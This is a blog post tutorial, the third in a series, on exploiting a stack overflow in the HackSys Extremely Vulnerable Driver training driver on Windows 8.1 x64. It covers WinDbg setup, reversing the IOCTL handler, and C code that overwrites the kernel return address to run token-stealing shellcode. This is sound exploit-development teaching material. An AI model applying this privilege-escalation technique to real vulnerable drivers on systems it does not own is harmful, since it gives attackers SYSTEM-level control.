First exploit in Windows Kernel (HEVD)

• Posted by hugsy on August 18, 2017
• windows • kernel • debugging • exploit • stack-overflow

Hi there ✋

This post is the third chapter of this series, where we dive into Windows kernel. The previous posts introduced respectively how to painlessly setup a Windows exploit lab, then how to create a custom shellcode for the kernel to execute.

So now we need vulnerabilities to get control of the program counter (RIP since we only focus on x64). For that, we’ll use the most awesome Extremely Vulnerable Driver.


HackSys Extremely Vulnerable Driver is a Windows driver for x86 and x64 created by the HackSys team (huge props!). Once injected into Windows, this driver purposely offers several types of vulnerabilities, to help us practice on them and/or assist us developing new exploitation techniques.

On the Windows 8.1 x64 debuggee VM

Download and unzip in the Windows 8.1 x64 debuggee VM:

Then simply run the OSR Driver Loader and register the AMD64 version of HEVD.sys.

You can then start the service.

But what about the kernel driver signing policy you may ask from Windows Vista and up? Good point: well in Debug mode, unless explicitly stated otherwise via the registry the MSDN states that

Attaching an active kernel debugger to a development or test computer disables load-time signature enforcement for kernel-mode drivers.

So we’re good here, let’s proceed…

On the Windows debugger VM

The AMD64 directory of HEVD contains the PDB symbols that WinDbg will use for extra information, so copy this PDB into a hevd.pdb directory located within one of the path defined in the _NT_SYMBOL_PATH environment variable. For example like this (you might need to adjust to your own configuration):

C:>  set | find "_NT_SYMBOL_PATH"
C:> mkdir C:\symbols\hevd.pdb
C:> mkdir C:\syms\hevd.pdb\8F6551A1E31E4F65B536C8DCB40F999B1
C:> xcopy %HOMEPATH%\Desktop\AMD64\*.pdb C:\symbols\hevd.pdb\8F6551A1E31E4F65B536C8DCB40F999B1

We can use WinDbg to check that:

  • the HEVD driver is properly loaded:
kd> lm m HEVD
start end module name
fffff800`c1e39000 fffff800`c1e42000 HEVD (deferred)
  • WinDbg can retrieve its symbols:
kd> .sympath
Symbol search path is: srv*c:\symbols*

kd> x HEVD!*
fffff800`c1e3c110 HEVD!g_UseAfterFreeObject = 0x00000000`00000000
fffff800`c1e3c108 HEVD!__security_cookie_complement = 0xffff07ff`3e1c34a0
fffff800`c1e3b368 HEVD!$xdatasym = 0x01 ''
fffff800`c1e3b388 HEVD!$xdatasym = 0x01 ''
fffff800`c1e3c000 HEVD!HotPatchBuffer = struct _PATCH_BUFFER

Last, you may overwrite the nt!Kd_Default_Mask to increase/decrease Windows kernel verbosity from WinDbg

kd> ed nt!Kd_Default_Mask 0xf

However, my preferred approach is to edit the registry on the debuggee to always print debug info. This can be done via the key HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Debug Print Filter in an Admin command prompt:

C:> reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Debug Print Filter" /v DEFAULT /t REG_DWORD /d 0xf

Quick tip: use kd command !dbgprint to navigate through the DbgPrint buffer.

We’re ready dive in!

Reverse-Engineering HEVD.sys

Although the source code of the entire driver is freely accessible, going black-box reversing (i.e. without any source code) is a good practice for real-life bug hunting. Moreover, the driver is well written, no obfuscation/packing in place, and the symbols are provided, to greatly improve the reversing process.

Hunting the vulnerability

Talking to the HEVD driver

Any Windows driver must define an entry point by which Windows can load it. This is done with the DriverEntry routine whose signature is as follow:

NTSTATUS DriverEntry(
_In_ struct _DRIVER_OBJECT *DriverObject,

WinDbg confirms that immediately:

kd> x HEVD!DriverEntry
fffff800`c1e41008 HEVD!DriverEntry (struct _DRIVER_OBJECT *, struct _UNICODE_STRING *)

By checking this function in IDA Pro, we spot immediately that the driver creates a device called \Device\HackSysExtremeVulnerableDriver via the routine IoCreateDevice, with a DeviceType set as FILE_DEVICE_UNKNOWN - or 0x22.

DriverEntry in IDA

Then the DriverObject gets populated with the structure members including functions pointers, among which we find the IOCTL
handler, IrpDeviceIoCtlHandler. This function dispatches IOCTL requests done from user-land to the HEVD driver. Every IOCTL is uniquely identified by a specific code, and the handler will basically do a big switch(dwIoControlCode){...} to execute the corresponding code. IDA is capable of pulling out for us:

In this first exploitation, we want to reach the StackOverflowIoctlHandler, and therefore need to send a DeviceIoControl() request with a code set to 0x222003.

Note: for this initial post, we’ll focus on the stack overflow vulnerability, but future posts may cover the other vulnerabilities in the HEVD driver, for which we’ll only need to change the dwIoControlCode value in order to reach them.

So we know how to reach the driver and the targeted function, which would look like (in pseudo-C):


HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", ...);
BOOL bResult = DeviceIoControl(hDevice, IOCTL_HEVD_STACK_OVERFLOW,
lpBufferIn, dwBufferInLength, ...);

Analyzing the vulnerability

We know how to reach StackOverflowIoctlHandler() from user-land, and pass in an controlled buffer of an arbitrary size. Here is the TriggerStackOverflow function translated to pseudo-C:

int TriggerStackOverflow(void *UserBuffer, uint64_t Size)
char Dst[2048];
ZeroMemory(Dst, 0x800);
ProbeForRead(UserBuffer, 0x800, 4);
DbgPrint_0("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint_0("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint_0("[+] KernelBuffer: 0x%p\n", &Dst);
DbgPrint_0("[+] KernelBuffer Size: 0x%X\n", 0x800);
DbgPrint_0("[+] Triggering Stack Overflow\n");
RtlCopyMemory(Dst, UserBuffer, Size);
return 0;

The code leaves no room for ambiguity about the vulnerability: we can overflow the kernel stack by passing in a buffer of length > 0x800 bytes. Since the buffer is read directly from user-land (ProbeForRead) we have full control over it, which simplifies greatly the exploitation.

So the exploit code looks clearer:


HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", ...);

DWORD nInBufferSize = 0x800 + 0x50;
ZeroMemory(lpInBuffer, 0x1000);
RtlFillMemory(lpInBuffer, 0x1000, 'A'); // for now, let's just populate the stack with 'A'

BOOL bResult = DeviceIoControl(hDevice, IOCTL_HEVD_STACK_OVERFLOW,
lpBufferIn, dwBufferInLength, ...);

And move on to the dynamic analysis…

Dynamic analysis

Assuming SMEP is not enabled, once we control the program counter, we can simply return to an known executable location in user-land, location that’ll hold the shellcode we created in the last post. But to know the state of the stack after the overflow but before exiting the function, it’d be nice to have WinDbg break at the ret instruction of TriggerStackOverflow. Since ASLR is enabled, we can’t just break at a fixed address and having to compute the address would be tidious, but fortunately, WinDbg, in its all awesomeness, provides the command bu (for Break Unresolved) which provides a clean way to circumvent this issue:

kd> uf HEVD!TriggerStackOverflow
101 fffff801`8063e707 5f pop rdi
101 fffff801`8063e708 c3 ret

kd> ? fffff801`8063e708 - HEVD!TriggerStackOverflow
Evaluate expression: 200 = 00000000`000000c8

kd> bu HEVD!TriggerStackOverflow+c8

We can now compile and run our first PoC, and wait for WinDbg to catch the breakpoint.

If we check the stack, we see that we’ve successfully overwritten the return address:

          |                |
+----------------+ <- Context of TriggerStackOverflow
| ReturnAddr |
| SFP |
+----------------+ <- KernelStackBuffer[0x800]
| |

So we know that our user-land allocated must be something like:

                     0x800 bytes             8 bytes    8 bytes
_____________________^___________________ ___^____ ___^____
/ \ / \ / \
| | | |
| Shellcode + Padding | BBBBBBBB | addr. of |
| | | buffer |
^ |
| |

Which translates into the following C code:


/* 1. Get a handle to the driver */
HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", ...);

/* 2. Populate our controlled area */
DWORD nInBufferSize = 0x800 + 0x50;
ZeroMemory(lpInBuffer, 0x1000);
CopyMemory(lpInBuffer, StealTokenShellcode, StealTokenShellcodeLength);
RtlFillMemory(lpInBuffer+StealTokenShellcodeLength, 0x1000-StealTokenShellcodeLength, '\xcc');
uint64_t *ptr = (uint64_t*) (lpInBuffer + 0x808);
*ptr = (uint64_t)lpInBuffer;

/* 3. Send the IOCTL request */
BOOL bResult = DeviceIoControl(hDevice, IOCTL_HEVD_STACK_OVERFLOW,
lpBufferIn, dwBufferInLength, ...);

/* 4. Profit */

Final wrap-up

The final exploit can be found here. It includes a few extra logging information and nice cleanup so the executable can be reused many times.

$ x86_64-w64-mingw32-gcc -D__WIN81__ -D__X86_64__ -o exploit.exe exploit.c

The PE exploit.exe provided was compiled with the exploitation offsets of the internal structures of Windows 8.1 x86. Reusing directly the PE on another version of Windows might produce an unexpected behavior.

We can run it, and w00t !

I’ve also added to the repository my WinDbg workspaces (for both user-mode and kernel-mode) along with a header file hevd.h with a few functions helping the exploit process of this awesome vulnerable driver.

Until next time, ✌

Related links

Share this post: